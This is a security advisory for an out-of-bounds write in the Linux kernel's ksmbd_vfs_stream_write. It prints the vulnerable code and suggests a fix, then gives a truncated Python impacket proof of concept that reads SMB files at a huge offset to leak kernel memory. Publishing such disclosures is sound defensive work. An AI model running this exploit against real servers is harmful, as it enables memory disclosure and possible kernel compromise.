Skip to content
GoogleGHSA-qmm2-xfcw-4r29

Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write

Critical9.8CVE-2024-56626 · Published Jan 9, 2025

### Summary The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer. ### Severity Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; struct mnt_idmap *idmap = file_mnt_idmap(fp->filp); size_t size; ssize_t v_len; int err = 0; ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n", *pos, count); size = *pos + count; // (1) if (size > XATTR_SIZE_MAX) { size = XATTR_SIZE_MAX; count = (*pos + count) - XATTR_SIZE_MAX; } v_len = ksmbd_vfs_getcasexattr(idmap, fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if (v_len < 0) { pr_err("not found stream in xattr : %zd\n", v_len); err = v_len; goto out; } if (v_len < size) ...

GitHub advisory

Affected versions

PackageAffectedFixed in
ksmbd_vfs_stream_write
Product
>= 5.15, < v6.13-rc2v6.13-rc2
Details and references

### Summary The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer. ### Severity Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; struct mnt_idmap *idmap = file_mnt_idmap(fp->filp); size_t size; ssize_t v_len; int err = 0; ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n", *pos, count); size = *pos + count; // (1) if (size > XATTR_SIZE_MAX) { size = XATTR_SIZE_MAX; count = (*pos + count) - XATTR_SIZE_MAX; } v_len = ksmbd_vfs_getcasexattr(idmap, fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if (v_len < 0) { pr_err("not found stream in xattr : %zd\n", v_len); err = v_len; goto out; } if (v_len < size) { wbuf = kvzalloc(size, GFP_KERNEL); if (!wbuf) { err = -ENOMEM; goto out; } if (v_len > 0) memcpy(wbuf, stream_buf, v_len); kvfree(stream_buf); stream_buf = wbuf; } memcpy(&stream_buf[*pos], buf, count); // (2) err = ksmbd_vfs_setxattr(idmap, &fp->filp->f_path, fp->stream.name, (void *)stream_buf, size, 0, true); if (err < 0) goto out; fp->filp->f_pos = *pos; err = 0; out: kvfree(stream_buf); return err; } ``` 1. **Insufficient Validation**: The calculation of the size variable at (1) (size = *pos + count;) allows for a negative value of *pos. 2. **Out-of-Bounds Write**: The memcpy at (2) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in writing data to memory before the start of the allocated buffer. 3. **Attacker-Controlled Data**: The data being written (buf) comes directly from the user-supplied SMB write request, giving the attacker full control over the contents written out-of-bounds. ### Remediation The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like: if (offset < 0) { return -EINVAL; } This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read. ### Proof of Concept ``` from impacket import smb3 as smb, smbconnection from hexdump import hexdump class BugClient: def __init__(self, target, share, username, password, domain="", port=445): self.target = target self.share = share self.username = username self.password = password self.domain = domain self.port = port self.smbClient = smbconnection.SMBConnection( self.target, self.target, sess_port=self.port ) self.smbClient.login(self.username, self.password, self.domain) def leak_oob(self, file_path, how_much): try: # Connect to the share tree_id = self.smbClient.connectTree(self.share) # Open the file file_id = self.smbClient.openFile( tree_id, file_path, desiredAccess=smb.FILE_READ_DATA ) # Read the file contents at offset data = self.smbClient.readFile( tree_id, file_id, 18446744073709551615 - how_much, how_much ) # Close the file self.smbClient.closeFile(tree_id, file_id) # Disconnect from the tree self.smbClient.disconnectTree(tree_id) return data except Exception as e: print(f"Error reading file: {e}") return Non

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
ENGAGE - Server Displaying Sensitive Information
LowJan 10, 2025
Integer Overflow in eBPF DEVMAP map_delete_elem Leads to Out-of-Bounds
High7.8Jan 9, 2025
Linux Kernel: Integer Overflow in eBPF XSK map_delete_elem Leads to Out-of-Bounds
High7.8Jan 9, 2025
Linux Kernel: Out of bounds Read in ksmbd_vfs_stream_read
Critical9.1Jan 9, 2025
Apple: WebKit Canvas Denoising
MediumDec 26, 2024
MacPorts: Remote Code Execution
MediumDec 23, 2024

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.